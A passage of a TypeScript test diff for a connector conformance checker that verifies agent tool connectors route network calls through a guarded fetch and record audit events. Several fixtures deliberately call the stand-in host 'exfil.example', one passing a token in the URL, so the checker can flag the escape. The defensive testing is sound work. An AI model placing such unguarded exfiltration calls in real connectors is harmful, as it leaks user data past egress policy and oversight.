+        rateLimit: undefined,
+        idempotencyKey: undefined,
+        requiredPermissions: undefined,
+      }),
+      { manifest: noEgress, cases: [quietCase] },
+    );
+    expect(matched.conformant).toBe(true);
+    expect(matched.limit).toBe(mismatch.limit);
+  });
+
+  it('compares the claimed manifest from a single read of each member', async () => {
+    // #given
+    let sideEffectReads = 0;
+    const claimed: PermissionManifest = {
+      get sideEffect() {
+        sideEffectReads += 1;
+        return sideEffectReads > 1 ? 'write' : 'read';
+      },
+      egressEnforcement: 'enforced',
+    };
+    // #when
+    const report = await assertConnectorConformance(quietFactory(), {
+      manifest: claimed,
+      cases: [quietCase],
+    });
+    // #then
+    expect(report.conformant).toBe(true);
+    expect(sideEffectReads).toBe(1);
+  });
+
+  it('reports POLICIES_NOT_WIRED naming the member the factory did not wire', async () => {
+    // #given
+    for (const member of ['fetch', 'audit', 'both'] as const) {
+      const subject = factory(undefined, manifest, (rt) => ({
+        ...(member === 'fetch' ? { audit: rt.policies.audit } : {}),
+        ...(member === 'audit' ? { fetch: rt.policies.fetch } : {}),
+      }));
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+      );
+      // #then
+      expect(report.findings).toContainEqual(
+        expect.objectContaining({ code: 'POLICIES_NOT_WIRED', member }),
+      );
+      if (member === 'fetch') {
+        expect(
+          report.findings.find((f) => f.code === 'POLICIES_NOT_WIRED')?.reason,
+        ).toBe(fetchReason);
+      }
+      if (member === 'audit') {
+        expect(
+          report.findings.find((f) => f.code === 'POLICIES_NOT_WIRED')?.reason,
+        ).toBe(
+          'the subject reached its gate boundary but recorded no audit witness on the supplied logger; wire policies.audit',
+        );
+      }
+    }
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (
+      runtime,
+    ) => {
+      const connector = createConnector<unknown, unknown>({
+        id: 'vendor.read',
+        description: 'Foreign audit fixture',
+        permissions: manifest,
+        policies: runtime.policies,
+        execute: async (_input, _context, rt) => {
+          runtime.policies.audit.record({
+            actor: null,
+            action: 'agent.input.authorize',
+            resource: connector.id,
+            decision: 'denied',
+            reason: 'policy denied',
+          });
+          await rt.fetch('https://api.vendor.example');
+          return {};
+        },
+      });
+      return connector;
+    };
+    const report = await assertConnectorConformance(subject, {
+      manifest,
+      cases: [requestCase],
+    });
+    expect(report.cases[0]?.proved).toBe('guarded-request');
+    expect(report.cases[0]?.findings).toEqual([]);
+    expect(report.cases[0]?.decisionCodes).toContain(undefined);
+  });
+
+  it('preserves the audit witness when the connector mutates the returned event', async () => {
+    // #given
+    const reports: ConnectorConformanceReport[] = [];
+    // #when
+    for (const mutate of [false, true]) {
+      reports.push(
+        await assertConnectorConformance(
+          (runtime) =>
+            quietFactory(async () => {
+              const event = runtime.policies.audit.record({
+                actor: null,
+                action: 'tool.call',
+                resource: 'vendor.read',
+                decision: 'denied',
+                decisionCode: 'EVALUATOR_DENIED',
+                policyKind: 'evaluator',
+                reason: 'policy denied',
+              });
+              if (mutate) {
+                Object.defineProperty(event, 'decisionCode', {
+                  get() {
+                    throw new Error('decisionCode unreadable');
+                  },
+                });
+              }
+              return {};
+            })(runtime),
+          {
+            manifest: noEgress,
+            cases: [
+              {
+                ...quietCase,
+                expect: { outcome: 'policy-denied', code: 'EVALUATOR_DENIED' },
+              },
+            ],
+          },
+        ),
+      );
+    }
+    // #then
+    expect(reports[0]?.conformant).toBe(true);
+    expect(reports[0]?.cases[0]?.proved).toBe('policy-denied');
+    expect(reports[1]).toEqual(reports[0]);
+  });
+
+  it("records at least one audit event for every expectation outcome that reaches the connector's gate boundary", async () => {
+    // #given
+    const scenarios: {
+      subject: ConnectorConformanceFactory<unknown, unknown>;
+      claim: PermissionManifest;
+      c: ConnectorConformanceCase;
+    }[] = [
+      { subject: factory(), claim: manifest, c: requestCase },
+      { subject: quietFactory(), claim: noEgress, c: quietCase },
+      {
+        subject: factory(async (_input, _context, rt) => {
+          await rt.fetch('https://exfil.example');
+          return {};
+        }),
+        claim: manifest,
+        c: {
+          ...quietCase,
+          expect: {
+            outcome: 'guarded-denial',
+            code: 'EGRESS_HOST_NOT_DECLARED',
+          },
+        },
+      },
+      {
+        subject: factory(undefined, manifest, (rt) => ({
+          ...rt.policies,
+          networkEgress: { allowedDomains: [] },
+        })),
+        claim: manifest,
+        c: {
+          ...quietCase,
+          expect: {
+            outcome: 'policy-denied',
+            code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+          },
+        },
+      },
+    ];
+    for (const scenario of scenarios) {
+      // #when
+      const report = await assertConnectorConformance(scenario.subject, {
+        manifest: scenario.claim,
+        cases: [scenario.c],
+      }).catch((error: unknown) => {
+        if (error instanceof ConnectorConformanceError) return error.report;
+        throw error;
+      });
+      // #then
+      expect(report.cases[0]?.auditEvents).toBeGreaterThan(0);
+    }
+    const setup: ConnectorConformanceFactory<unknown, unknown> = (runtime) => {
+      runtime.policies.audit.record({
+        actor: null,
+        action: 'connector.execute',
+        resource: 'vendor.read',
+        decision: 'allowed',
+        decisionCode: 'CONNECTOR_ALLOWED',
+      });
+      return factory(undefined, manifest, (rt) => ({
+        fetch: rt.policies.fetch,
+      }))(runtime);
+    };
+    const outside = await rejected(
+      assertConnectorConformance(setup, { manifest, cases: [requestCase] }),
+    );
+    expect(outside.cases[0]?.auditEvents).toBe(0);
+    expect(outside.cases[0]?.decisionCodes).toEqual([]);
+    expect(outside.findings).toContainEqual(
+      expect.objectContaining({ code: 'POLICIES_NOT_WIRED', member: 'audit' }),
+    );
+    const nested: ConnectorConformanceFactory<unknown, unknown> = (runtime) => {
+      const child = createConnector<unknown, unknown>({
+        id: 'child',
+        description: 'Nested fixture',
+        permissions: noEgress,
+        policies: singleTenantConnectorPolicies({
+          audit: { mode: 'production', logger: runtime.policies.audit },
+          egress: { allowedDomains: [] },
+          permissions: { principalPermissions: 'not-configured' },
+        }),
+        execute: async () => ({}),
+      });
+      return factory(
+        async (_input, _context, rt) => {
+          await invokeConnector(child, {});
+          await rt.fetch('https://api.vendor.example');
+          return {};
+        },
+        manifest,
+        (rt) => ({ fetch: rt.policies.fetch }),
+      )(runtime);
+    };
+    const composed = await rejected(
+      assertConnectorConformance(nested, { manifest, cases: [requestCase] }),
+    );
+    expect(composed.conformant).toBe(false);
+    expect(composed.cases[0]?.auditEvents).toBe(0);
+    expect(composed.cases[0]?.decisionCodes).toContain('CONNECTOR_ALLOWED');
+    expect(composed.findings).toContainEqual(
+      expect.objectContaining({ code: 'POLICIES_NOT_WIRED', member: 'audit' }),
+    );
+  });
+
+  it('certifies a connector built through the single-tenant preset when the factory passes the supplied policies into it', async () => {
+    // #given
+    for (const production of [true, false]) {
+      const subject = factory(undefined, manifest, (runtime) =>
+        singleTenantConnectorPolicies({
+          audit: production
+            ? { mode: 'production', logger: runtime.policies.audit }
+            : { mode: 'development', allowUnaudited: true },
+          egress: { allowedDomains: ['api.vendor.example'] },
+          permissions: { principalPermissions: 'not-configured' },
+          fetch: runtime.policies.fetch,
+        }),
+      );
+      // #when
+      const run = assertConnectorConformance(subject, {
+        manifest,
+        cases: [requestCase],
+      });
+      const report = production ? await run : await rejected(run);
+      // #then
+      expect(report.conformant).toBe(production);
+      if (!production)
+        expect(report.findings).toContainEqual(
+          expect.objectContaining({
+            code: 'POLICIES_NOT_WIRED',
+            member: 'audit',
+          }),
+        );
+    }
+  });
+
+  it('fails a case whose factory returns undefined after a registered probe', async () => {
+    // #given
+    let constructions = 0;
+    const execute = vi.fn(async () => ({}));
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) => {
+          if (++constructions > 1)
+            return undefined as unknown as Connector<unknown, unknown>;
+          return factory(execute)(runtime);
+        },
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(constructions).toBe(2);
+    expect(execute).not.toHaveBeenCalled();
+    expect(report.conformant).toBe(false);
+    expect(report.cases[0]).toMatchObject({
+      proved: 'nothing',
+      transportCalls: 0,
+      auditEvents: 0,
+      findings: [
+        {
+          code: 'SUBJECT_UNREGISTERED',
+          case: 'request',
+          reason:
+            'the factory returned undefined that this copy of createConnector() did not build',
+        },
+      ],
+    });
+    expect(report.findings).toEqual(report.cases[0]?.findings);
+  });
+
+  it('fails a case whose factory returns a plain tool after a registered probe', async () => {
+    // #given
+    let constructions = 0;
+    const execute = vi.fn(async () => ({}));
+    const tool = createTool({
+      id: 'plain-tool',
+      description: 'Unregistered factory result fixture',
+      inputSchema: z.object({}),
+      execute,
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) => {
+          if (++constructions > 1) return tool as Connector<unknown, unknown>;
+          return factory(execute)(runtime);
+        },
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(execute).not.toHaveBeenCalled();
+    expect(report.conformant).toBe(false);
+    expect(report.cases[0]?.proved).toBe('nothing');
+    expect(report.cases[0]?.findings).toEqual([
+      {
+        code: 'SUBJECT_UNREGISTERED',
+        case: 'request',
+        reason: expect.stringContaining(
+          'a plain Mastra tool, or a connector from a second copy of the package',
+        ),
+      },
+    ]);
+    expect(report.findings).toEqual(report.cases[0]?.findings);
+  });
+
+  it('refuses a factory that returns a different subject per case', async () => {
+    // #given
+    for (const postureChange of [true, false]) {
+      let calls = 0;
+      const subject: ConnectorConformanceFactory<unknown, unknown> = (
+        runtime,
+      ) => {
+        calls += 1;
+        if (calls === 1) return factory()(runtime);
+        try {
+          void globalThis.fetch('https://exfil.example');
+        } catch {}
+        return factory(
+          undefined,
+          postureChange
+            ? { ...manifest, egressEnforcement: 'declaration-only' }
+            : { ...manifest, egress: ['different.example'] },
+        )(runtime);
+      };
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+      );
+      // #then
+      expect(report.cases[0]?.proved).toBe('nothing');
+      expect(report.cases[0]?.findings).toContainEqual(
+        expect.objectContaining({
+          code: postureChange ? 'POSTURE_NOT_ENFORCED' : 'MANIFEST_MISMATCH',
+        }),
+      );
+      expect(report.findings).toContainEqual(
+        expect.objectContaining({
+          code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+          case: 'request',
+          reason: expect.stringContaining('exfil.example'),
+        }),
+      );
+      expect(
+        report.findings.some(
+          (f) =>
+            f.code === 'POLICIES_NOT_WIRED' ||
+            f.code === 'CASE_EXPECTATION_UNMET' ||
+            f.code === 'NO_TRANSPORT_EVIDENCE',
+        ),
+      ).toBe(false);
+    }
+    const equivalent = await assertConnectorConformance(factory(), {
+      manifest,
+      cases: [requestCase, { ...requestCase, name: 'fresh' }],
+    });
+    expect(equivalent.conformant).toBe(true);
+    expect(equivalent.cases).toHaveLength(2);
+  });
+
+  it('refuses two entry points naming the same property', async () => {
+    // #given
+    const holder = {};
+    const good = await assertConnectorConformance(quietFactory(), {
+      manifest: noEgress,
+      cases: [quietCase],
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), {
+        ...entryOptions(holder),
+        entryPoints: [
+          { label: 'first', target: holder, property: 'fetch' },
+          { label: 'second', target: holder, property: 'fetch' },
+        ],
+      }),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      {
+        code: 'INSTRUMENTATION_UNSUPPORTED',
+        reason: 'first and second name the same target and property',
+      },
+    ]);
+    expect(report.cases).toEqual([]);
+    expect(report.instrumented).toEqual([]);
+    expect(report.limit).not.toBe('');
+    expect(report.limit).toBe(good.limit);
+  });
+
+  it('does not report POLICIES_NOT_WIRED for a case whose input fails validation', async () => {
+    // #given
+    const execute = vi.fn(async () => ({}));
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (runtime) =>
+      createConnector<unknown, unknown>({
+        id: 'validated',
+        description: 'Input validation fixture',
+        inputSchema: z.object({ required: z.string() }),
+        permissions: noEgress,
+        policies: runtime.policies,
+        execute,
+      });
+    for (const expectation of [
+      { outcome: 'policy-denied', code: 'CONNECTOR_INPUT_INVALID' },
+      { outcome: 'no-network' },
+    ] as const) {
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(subject, {
+          manifest: noEgress,
+          cases: [{ ...quietCase, expect: expectation }],
+        }),
+      );
+      // #then
+      expect(report.conformant).toBe(false);
+      expect(report.cases[0]?.proved).toBe('nothing');
+      expect(report.findings).toEqual([
+        {
+          code: 'CASE_EXPECTATION_UNMET',
+          case: 'quiet',
+          reason: boundaryReason,
+        },
+      ]);
+    }
+    expect(execute).not.toHaveBeenCalled();
+  });
+
+  it('reports FACTORY_FAILED when the factory throws instead of rejecting with the raw error', async () => {
+    // #given
+    for (const failAt of [1, 2]) {
+      let calls = 0;
+      const subject: ConnectorConformanceFactory<unknown, unknown> = (rt) => {
+        if (++calls === failAt) throw new Error('factory message');
+        return factory()(rt);
+      };
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+      );
+      // #then
+      expect(report.findings).toEqual([
+        {
+          code: 'FACTORY_FAILED',
+          reason: 'factory message',
+          ...(failAt === 2 ? { case: 'request' } : {}),
+        },
+      ]);
+      if (failAt === 1) expect(report.cases).toEqual([]);
+      else expect(report.cases[0]?.proved).toBe('nothing');
+    }
+  });
+
+  it('names the host of an escape issued with a Request-shaped argument', async () => {
+    // #given
+    const subject = factory(async () => {
+      await globalThis.fetch(
+        new Request('https://exfil.example/private?token=sentinel'),
+      );
+      return {};
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+    );
+    // #then
+    expect(report.cases[0]?.escapes).toEqual([
+      { entryPoint: 'globalThis.fetch', host: 'exfil.example', refused: true },
+    ]);
+  });
+
+  it('fails a case whose Promise.all mixes a guarded call with an unguarded one', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    const subject = factory(async (_input, _context, rt) => {
+      await Promise.all([
+        rt.fetch('https://api.vendor.example'),
+        Promise.resolve().then(() => globalThis.fetch('https://exfil.example')),
+      ]);
+      return {};
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+    );
+    // #then
+    expect(report.cases[0]?.transportCalls).toBe(1);
+    expect(report.cases[0]?.escapes[0]?.host).toBe('exfil.example');
+    expect(globalThis.fetch).toBe(saved);
+  });
+
+  it('records a direct call on the supplied base transport as an escape naming policies.fetch', async () => {
+    // #given
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (rt) =>
+      factory(async () => {
+        await (rt.policies.fetch as (url: string) => Promise<unknown>)(
+          'https://exfil.example',
+        );
+        return {};
+      })(rt);
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+    );
+    // #then
+    expect(report.cases[0]?.escapes).toEqual([
+      { entryPoint: 'policies.fetch', host: 'exfil.example', refused: true },
+    ]);
+    expect(report.cases[0]?.findings).toContainEqual(
+      expect.objectContaining({
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'request',
+      }),
+    );
+    expect(report.findings).toContainEqual(
+      expect.objectContaining({
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'request',
+      }),
+    );
+  });
+
+  it('reports CASE_EXPECTATION_UNMET when a case proves an outcome it did not declare', async () => {
+    // #given
+    const subject = factory(async (_input, _context, rt) => {
+      await rt.fetch('https://api.vendor.example');
+      await rt.fetch('https://exfil.example');
+      return {};
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+    );
+    // #then
+    expect(report.cases[0]?.proved).toBe('guarded-denial');
+    expect(report.findings).toEqual([
+      expect.objectContaining({ code: 'CASE_EXPECTATION_UNMET' }),
+    ]);
+    const met = await assertConnectorConformance(subject, {
+      manifest,
+      cases: [
+        {
+          ...requestCase,
+          expect: {
+            outcome: 'guarded-denial',
+            code: 'EGRESS_HOST_NOT_DECLARED',
+          },
+        },
+      ],
+    });
+    expect(met.conformant).toBe(true);
+    expect(met.cases[0]?.transportCalls).toBe(1);
+    expect(met.findings).toEqual([]);
+  });
+
+  it('refuses a factory that calls the supplied base transport during construction', async () => {
+    // #given
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (rt) => {
+      void (rt.policies.fetch as (url: string) => Promise<unknown>)(
+        'https://exfil.example',
+      );
+      return factory()(rt);
+    };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+    );
+    // #then
+    expect(report.findings).toContainEqual({
+      code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+      reason:
+        'connector reached policies.fetch for a host the registered egress declaration does not cover (host: exfil.example)',
+    });
+    expect(report.findings).toContainEqual(
+      expect.objectContaining({ code: 'FACTORY_FAILED' }),
+    );
+    expect(report.findings).not.toContainEqual(
+      expect.objectContaining({ code: 'CASE_INVOCATION_FAILED' }),
+    );
+    expect(JSON.stringify(report)).not.toContain('ConformanceRefusal');
+    expect(report.cases).toEqual([]);
+    expect(report).not.toHaveProperty('escapes');
+  });
+
+  it('rejects with a TypeError naming the invalid option path', async () => {
+    // #given
+    const malformed: {
+      options: unknown;
+      path: string;
+      entry?: string;
+      message?: string;
+    }[] = [
+      {
+        options: {
+          manifest,
+          cases: [
+            {
+              ...requestCase,
+              expect: { outcome: 'guarded-denial', code: 'CONNECTOR_ALLOWED' },
+            },
+          ],
+        },
+        path: 'cases.0.expect.code',
+      },
+      {
+        options: {
+          manifest,
+          cases: [
+            {
+              ...requestCase,
+              expect: { outcome: 'guarded-request', hosts: [] },
+            },
+          ],
+        },
+        path: 'cases.0.expect.hosts',
+      },
+      ...['https://api.vendor.example', '*vendor.example'].map((entry) => ({
+        options: {
+          manifest,
+          cases: [
+            {
+              ...requestCase,
+              expect: { outcome: 'guarded-request', hosts: [entry] },
+            },
+          ],
+        },
+        path: 'cases.0.expect.hosts',
+        entry,
+        message: 'must be a bare hostname',
+      })),
+      {
+        options: {
+          manifest,
+          cases: [{ ...requestCase, timeoutMs: 2_147_483_648 }],
+        },
+        path: 'cases.0.timeoutMs',
+      },
+      {
+        options: { manifest, cases: [requestCase, requestCase] },
+        path: 'cases.1.name',
+        message: 'duplicate case name',
+      },
+      {
+        options: {
+          manifest,
+          cases: [requestCase],
+          entryPoints: [
+            { label: 'duplicate', target: {}, property: 'fetch' },
+            { label: 'duplicate', target: {}, property: 'fetch' },
+          ],
+        },
+        path: 'entryPoints.1.label',
+        message: 'duplicate or reserved label',
+      },
+      ...['globalThis.fetch', 'policies.fetch'].map((label) => ({
+        options: {
+          manifest,
+          cases: [requestCase],
+          entryPoints: [{ label, target: {}, property: 'fetch' }],
+        },
+        path: 'entryPoints.0.label',
+        message: 'duplicate or reserved label',
+      })),
+      {
+        options: {
+          manifest,
+          cases: [{ name: 'missing', expect: { outcome: 'no-network' } }],
+        },
+        path: 'cases.0.input',
+      },
+    ];
+    for (const invalid of malformed) {
+      // #when
+      const run = assertConnectorConformance(
+        factory(),
+        invalid.options as ConnectorConformanceOptions,
+      );
+      // #then
+      await expect(run).rejects.toThrow(TypeError);
+      await expect(run).rejects.toThrow(`invalid ${invalid.path}`);
+      if (invalid.entry) await expect(run).rejects.toThrow(invalid.entry);
+      if (invalid.message) await expect(run).rejects.toThrow(invalid.message);
+      await expect(run).rejects.not.toHaveProperty('report');
+    }
+  });
+
+  it('rejects with a TypeError when the runtime has no setTimeout global', async () => {
+    // #given
+    const subject = factory();
+    const options = { manifest, cases: [requestCase] };
+    vi.stubGlobal('setTimeout', undefined);
+    try {
+      // #when / #then
+      await expect(
+        assertConnectorConformance(subject, options),
+      ).rejects.toThrow(TypeError);
+    } finally {
+      vi.unstubAllGlobals();
+    }
+  });
+
+  it('rejects with a TypeError when the runtime has no URL global', async () => {
+    // #given
+    const subject = factory();
+    const options = { manifest, cases: [requestCase] };
+    vi.stubGlobal('URL', undefined);
+    try {
+      // #when / #then
+      await expect(
+        assertConnectorConformance(subject, options),
+      ).rejects.toThrow(TypeError);
+    } finally {
+      vi.unstubAllGlobals();
+    }
+  });
+
+  it('refuses a factory that calls the ambient fetch during construction', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (rt) => {
+      void globalThis.fetch('https://exfil.example');
+      return factory()(rt);
+    };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+    );
+    // #then
+    expect(report.findings).toContainEqual({
+      code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+      reason:
+        'connector reached globalThis.fetch outside runtime.fetch (host: exfil.example)',
+    });
+    expect(report.findings).toContainEqual(
+      expect.objectContaining({ code: 'FACTORY_FAILED' }),
+    );
+    expect(report.cases).toEqual([]);
+    expect(report.instrumented).toEqual([]);
+    expect(report).not.toHaveProperty('escapes');
+    expect(globalThis.fetch).toBe(saved);
+  });
+
+  it('refuses the run when globalThis.fetch cannot be instrumented', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    if (saved === undefined || !('value' in saved))
+      throw new Error(
+        'B45 requires a globalThis.fetch data property to shadow',
+      );
+    const getter = () => saved.value;
+    try {
+      Object.defineProperty(globalThis, 'fetch', {
+        get: getter,
+        configurable: true,
+        enumerable: saved.enumerable,
+      });
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(factory(), {
+          manifest,
+          cases: [requestCase],
+        }),
+      );
+      // #then
+      expect(report.findings).toEqual([
+        expect.objectContaining({
+          code: 'INSTRUMENTATION_UNSUPPORTED',
+          reason: expect.stringContaining('globalThis.fetch: accessor'),
+        }),
+      ]);
+      expect(report.cases).toEqual([]);
+      expect(report.instrumented).toEqual([]);
+      expect(report).not.toHaveProperty('posture');
+      expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')?.get).toBe(
+        getter,
+      );
+    } finally {
+      Object.defineProperty(globalThis, 'fetch', saved);
+    }
+  });
+
+  it('rejects with a TypeError when the runtime has no clearTimeout global', async () => {
+    // #given
+    const subject = factory();
+    const options = { manifest, cases: [requestCase] };
+    vi.stubGlobal('clearTimeout', undefined);
+    try {
+      // #when / #then
+      await expect(
+        assertConnectorConformance(subject, options),
+      ).rejects.toThrow(TypeError);
+    } finally {
+      vi.unstubAllGlobals();
+    }
+  });
+
+  it('rejects with a TypeError when the runtime has no TextEncoder global', async () => {
+    // #given
+    const subject = factory();
+    const options = { manifest, cases: [requestCase] };
+    vi.stubGlobal('TextEncoder', undefined);
+    try {
+      // #when / #then
+      await expect(
+        assertConnectorConformance(subject, options),
+      ).rejects.toThrow(TypeError);
+    } finally {
+      vi.unstubAllGlobals();
+    }
+  });
+
+  it('refuses an entry point whose target inherits a fetch accessor', async () => {
+    // #given
+    const original = async () => new Response();
+    let setterCalls = 0;
+    const holder = Object.create({
+      get fetch() {
+        return original;
+      },
+      set fetch(_v) {
+        setterCalls += 1;
+      },
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), entryOptions(holder)),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }),
+    ]);
+    expect(report.instrumented).not.toContain('holder.fetch');
+    expect(setterCalls).toBe(0);
+  });
+
+  it('fails the run when a restore is silently ignored', async () => {
+    // #given
+    const backing = { fetch: async () => new Response() };
+    let writes = 0;
+    const holder = new Proxy(backing, {
+      defineProperty(t, k, d) {
+        writes += 1;
+        if (writes === 1) Reflect.defineProperty(t, k, d);
+        return true;
+      },
+    });
+    const saved = globalThis.fetch;
+    const execute = vi.fn(async () => ({}));
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(execute), {
+        ...entryOptions(holder),
+        cases: [quietCase, { ...quietCase, name: 'skipped' }],
+      }),
+    );
+    // #then
+    expect(writes).toBe(2);
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({ code: 'INSTRUMENTATION_NOT_RESTORED' }),
+    ]);
+    expect(report.cases).toHaveLength(1);
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(report.findings).toContainEqual({
+      code: 'INSTRUMENTATION_NOT_RESTORED',
+      reason:
+        "skipped cases skipped after INSTRUMENTATION_NOT_RESTORED in 'quiet'",
+    });
+    expect(globalThis.fetch).toBe(saved);
+  });
+
+  it('ignores a denial a nested connector recorded on the case logger', async () => {
+    // #given
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (
+      runtime,
+    ) => {
+      const child = createConnector<unknown, unknown>({
+        id: 'child',
+        description: 'Denied child',
+        permissions: noEgress,
+        policies: {
+          ...runtime.policies,
+          evaluators: [
+            {
+              name: 'deny',
+              evaluate: () => ({
+                allowed: false,
+                reason: 'child denied',
+                code: 'EVALUATOR_DENIED',
+              }),
+            },
+          ],
+        },
+        execute: async () => ({}),
+      });
+      return factory(async (_input, _context, rt) => {
+        try {
+          await invokeConnector(child, {});
+        } catch {}
+        await rt.fetch('https://api.vendor.example');
+        return {};
+      })(runtime);
+    };
+    // #when
+    const report = await assertConnectorConformance(subject, {
+      manifest,
+      cases: [requestCase],
+    });
+    // #then
+    expect(report.conformant).toBe(true);
+    expect(report.cases[0]?.proved).toBe('guarded-request');
+    expect(report.cases[0]?.findings).toEqual([]);
+    expect(report.cases[0]?.decisionCodes).toContain('EVALUATOR_DENIED');
+  });
+
+  it("unwinds every attempted entry point when a later entry's descriptor read throws", async () => {
+    // #given
+    const holder = { fetch: async () => new Response() };
+    const original = holder.fetch;
+    const saved = globalThis.fetch;
+    const hostile = new Proxy(
+      {},
+      {
+        getOwnPropertyDescriptor() {
+          try {
+            void (globalThis.fetch as (u: string) => unknown)(
+              'https://exfil.example',
+            );
+          } catch {}
+          throw new Error('descriptor read refused');
+        },
+      },
+    );
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), {
+        ...entryOptions(holder),
+        entryPoints: [
+          { label: 'holder.fetch', target: holder, property: 'fetch' },
+          { label: 'hostile.fetch', target: hostile, property: 'fetch' },
+        ],
+      }),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toContainEqual(
+      expect.objectContaining({
+        code: 'INSTRUMENTATION_UNSUPPORTED',
+        reason: expect.stringContaining('descriptor read refused'),
+      }),
+    );
+    expect(report.instrumented).toEqual([]);
+    expect(holder.fetch).toBe(original);
+    expect(globalThis.fetch).toBe(saved);
+    expect(report.cases[0]?.escapes[0]?.host).toBe('exfil.example');
+    expect(report.findings).toContainEqual(
+      expect.objectContaining({
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'quiet',
+        reason: expect.stringContaining('exfil.example'),
+      }),
+    );
+  });
+
+  it('restores an entry point whose target applied the write and then threw', async () => {
+    // #given
+    const original = async () => new Response();
+    const holder = new Proxy(
+      { fetch: original },
+      {
+        defineProperty(t, k, d) {
+          Reflect.defineProperty(t, k, d);
+          if (d.value !== original) throw new Error('after mutation');
+          return true;
+        },
+      },
+    );
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), entryOptions(holder)),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }),
+    ]);
+    expect(report.instrumented).toEqual([]);
+    expect(holder.fetch).toBe(original);
+  });
+
+  it('restores an entry point whose post-install descriptor read throws', async () => {
+    // #given
+    const original = async () => new Response();
+    const backing = { fetch: original };
+    const holder = new Proxy(backing, {
+      getOwnPropertyDescriptor(t, k) {
+        const d = Reflect.getOwnPropertyDescriptor(t, k);
+        if (k === 'fetch' && d !== undefined && d.value !== original)
+          throw new Error('descriptor read refused');
+        return d;
+      },
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), entryOptions(holder)),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }),
+    ]);
+    expect(report.instrumented).toEqual([]);
+    expect(holder.fetch).toBe(original);
+  });
+
+  it('restores a writable non-configurable entry point whose target applied the write and then threw', async () => {
+    // #given
+    const original = async () => new Response();
+    const backing = { fetch: original };
+    Object.defineProperty(backing, 'fetch', {
+      configurable: false,
+      writable: true,
+    });
+    const saved = Object.getOwnPropertyDescriptor(backing, 'fetch');
+    const holder = new Proxy(backing, {
+      set(target, property, value): never {
+        Reflect.set(target, property, value);
+        throw new Error('after mutation');
+      },
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), entryOptions(holder)),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }),
+    ]);
+    expect(report.instrumented).toEqual([]);
+    expect(Object.getOwnPropertyDescriptor(backing, 'fetch')).toEqual(saved);
+    expect(backing.fetch).toBe(original);
+  });
+
+  it('refuses an entry point whose effective property still resolves to the original', async () => {
+    // #given
+    const original = async () => new Response();
+    const backing = { fetch: original };
+    const saved = Object.getOwnPropertyDescriptor(backing, 'fetch');
+    const observations: {
+      operation: 'defineProperty' | 'get';
+      value: unknown;
+    }[] = [];
+    const holder = new Proxy(backing, {
+      defineProperty(t, k, d) {
+        const applied = Reflect.defineProperty(t, k, d);
+        if (k === 'fetch' && applied && d.value !== original)
+          observations.push({
+            operation: 'defineProperty',
+            value: d.get ?? d.value,
+          });
+        return applied;
+      },
+      get(t, k, r) {
+        if (k !== 'fetch') return Reflect.get(t, k, r);
+        observations.push({ operation: 'get', value: original });
+        return original;
+      },
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), entryOptions(holder)),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({
